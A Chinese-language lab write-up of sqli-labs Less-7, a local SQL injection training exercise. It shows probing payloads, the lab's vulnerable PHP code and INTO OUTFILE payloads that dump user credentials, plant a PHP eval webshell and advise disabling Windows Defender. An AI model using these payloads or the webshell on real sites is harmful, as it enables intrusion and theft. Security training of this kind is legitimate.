sqli-lab-less7
一、靶标地址
Less-7 GET-Dump into outfile -String
#字符型输出文件
http://127.0.0.1/sqli/less-7/
二、漏洞探测
常用的探测语句
1' --+
1" --+
1') --+
1") --+
1')) --+
1")) --+
1'#
1"#
1')#
1")#
1'))#
1"))#
select * from users where id=(('$id')) limit 0,1;
http://127.0.0.1/sqli/Less-7/?id=1 #
http://127.0.0.1/sqli/Less-7/?id=1 --+
#正常回显
#You are in.... Use outfile......
select * from users where id=(('1 #')) limit 0,1;
select * from users where id=(('1 --+')) limit 0,1;
#正常查询
http://127.0.0.1/sqli/Less-7/?id=1' #
http://127.0.0.1/sqli/Less-7/?id=1' --+
#You have an error in your SQL syntax
select * from users where id=(('1' #')) limit 0,1;
select * from users where id=(('1' --+')) limit 0,1;
#报错
http://127.0.0.1/sqli/Less-7/?id=1" #
http://127.0.0.1/sqli/Less-7/?id=1" --+
#正常回显
#You are in.... Use outfile......
select * from users where id=(('1" #')) limit 0,1;
select * from users where id=(('1" --+')) limit 0,1;
#正常查询
http://127.0.0.1/sqli/Less-7/?id=1') #
http://127.0.0.1/sqli/Less-7/?id=1') --+
#You have an error in your SQL syntax
select * from users where id=(('1') #')) limit 0,1;
select * from users where id=(('1') --+')) limit 0,1;
#报错
http://127.0.0.1/sqli/Less-7/?id=1") #
http://127.0.0.1/sqli/Less-7/?id=1") --+
#正常回显
#You are in.... Use outfile......
select * from users where id=(('1") #')) limit 0,1;
select * from users where id=(('1") --+')) limit 0,1;
#正常查询
http://127.0.0.1/sqli/Less-7/?id=1')) #
#You have an error in your SQL syntax
http://127.0.0.1/sqli/Less-7/?id=1')) --+
#正常回显
#You are in.... Use outfile......
select * from users where id=(('1')) #')) limit 0,1;
#再加;正常回显
select * from users where id=(('1')) --+')) limit 0,1;
#报错
http://127.0.0.1/sqli/Less-7/?id=1")) #
http://127.0.0.1/sqli/Less-7/?id=1")) --+
#正常回显
#You are in.... Use outfile......
select * from users where id=(('1")) #')) limit 0,1;
select * from users where id=(('1")) --+')) limit 0,1;
#正常查询
上述结果1')) --+开始正常回显但是执行语句无法查询,猜测可能是sql文件执行和单语句执行差异的结果。
所以猜测语句为
select * from users where id=(('$id')) limit 0,1;
#上述验证过程最好采用python脚本完成
三、源码分析
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
//无正常回显爆库
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());//无报错回显爆库
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
四、黑盒与白盒测试
利用outfile函数在数据库有写权限的目录写入文件。
1、获取数据库的存储数据路径
在less-1回显中使用@@datadir来。
#@@datadir获取数据库存储数据路径
#@@basedir是MYSQL获取安装路径
http://127.0.0.1/sqli/less-1/?id=1' and 1=2 union select 1,2,@@datadir --+
http://127.0.0.1/sqli/less-1/?id=0' union select 1,2, @@datadir --+
#Your Password:C:\phpStudy\PHPTutorial\MySQL\data\
#根据路径判断操作系统为windows,在windows下默认的网站路径为C:\phpStudy\PHPTutorial\WWWW\。
#在Linux下默认的网站路径为/var/www/html。
2、确认当前用户读写权限
(1)MySQL是通过权限表来控制用户对数据库访问的,权限表存放在mysql数据库中。主要的权限表有以下几个:user,db,host,table_priv,columns_priv和procs_priv
通常用户信息、修改用户的密码、删除用户及分配权限等就是在mysql数据库的user表中。
http://127.0.0.1/sqli/less-7/?id=1')) and (select count(*) from mysql.user)>0 --+
#如果回显正常,就是表示最高权限。
(2)Mysql变量secure_file_priv的值,如果为NULL则无法写入;如果为固定的一个路径,那么只能在指定的这个路径内写文件;如果为空就是任意位置都可以。
select @@secure_file_priv;
http://127.0.0.1/sqli/less-1/?id=0' union select 1,2, @@secure_file_priv --+
修改secure_file_priv:
phpstudy---其他选项菜单---打开配置文件---mysql.ini //C:\phpStudy\PHPTutorial\MySQL\my.ini
添加secure_file_priv=
重启mysql
3、开始注入
#获取php版本
http://127.0.0.1/sqli/Less-7/?id=-1')) union select 1,2,'<?php phpinfo();?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php' --+
#查看结果
http://127.0.0.1/sqli/Less-7/1.php
#linux路径使用'/var/www/sqlilabs/Less-7/1.txt'格式
#获取数据库
http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,2,database() into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.txt'--+
#获取表名
http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\2.txt' --+
#获取列名
http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\3.txt' --+
#获取列值
http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\4.txt' --+
#写入webshell
http://127.0.0.1/sqli/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST['cmd']);?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\2.php' --+
#使用antsword进行连接
http://127.0.0.1/sqli/Less-7/test.php
#windows defender会对webshell查杀并且对webshell执行命令的行为也查杀
#需要通过注册表彻底关闭windows defender
五、脚本撰写
import requests
url="http://127.0.0.1/sqli/less-7/index.php?id=1"
header={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36',
'Accept-Language': 'en-US,en;q=0.9',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
}
payload=""
response=requests.get(url+payload,headers=header)
print(response.text)
六、sqlmap
sqlmap -u http://127.0.0.1/sqli/less-7/index.php?id=1
#没有任何回显的仅能盲注
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1') AND 5280=5280 AND ('BjKB'='BjKB
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1') AND (SELECT 8321 FROM (SELECT(SLEEP(5)))HfyT) AND ('tHVO'='tHVO
七、总结
1、常用的闭合语句:
SQL语句原代码:
'$id'
"$id"
('$id')
("$id")
(('id'))
闭合代码:
1' #
1" #
1') #
1") #
1')) #
1")) #
1' --+
1" --+
1') --+
1") --+
1')) --+
1")) --+
2、总结
有详细信息回显,用联合查询
有详细报错回显,用报错函数
仅有通用正常回显和通用错误回显,用盲注